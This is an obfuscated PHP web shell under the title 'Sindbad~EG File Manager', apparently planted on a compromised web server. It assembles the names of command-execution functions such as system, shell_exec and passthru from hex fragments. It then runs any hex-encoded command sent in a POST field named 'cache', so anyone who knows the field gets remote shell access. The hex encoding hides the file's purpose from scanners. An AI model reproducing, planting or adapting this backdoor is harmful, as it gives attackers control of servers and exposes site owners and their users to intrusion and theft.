Sindbad~EG File Manager

<?php

$const1 = '79';
$const2 = '6d';
$const3 = '65';
$const4 = '73';
$const5 = '6c';
$const6 = '70';
$const7 = '61';
$const8 = '74';
$const9 = '68';
$const10 = '72';
$const11 = '63';
$created1 = pack("H*", '73'.$const1.'73'.'74'.'65'.$const2);
$created2 = pack("H*", '73'.'68'.'65'.'6c'.'6c'.'5f'.$const3.'78'.$const3.'63');
$created3 = pack("H*", $const4.'68'.$const3.'6c'.$const5);
$created4 = pack("H*", $const6.$const7.$const4.'73'.$const8.$const9.$const10.'75');
$cache = pack("H*", '63'.'61'.$const11.$const9.'65');
if (isset($_POST[$cache])) {
    $cache = pack("H*", $_POST[$cache]);
    if (function_exists($created1)) {
        $created1($cache);
    } elseif (function_exists($created2)) {
        $created2($cache);
    } elseif (function_exists($created3)) {
        $created3($cache);
    } elseif (function_exists($created4)) {
        $created4($cache);
    }
    exit;
}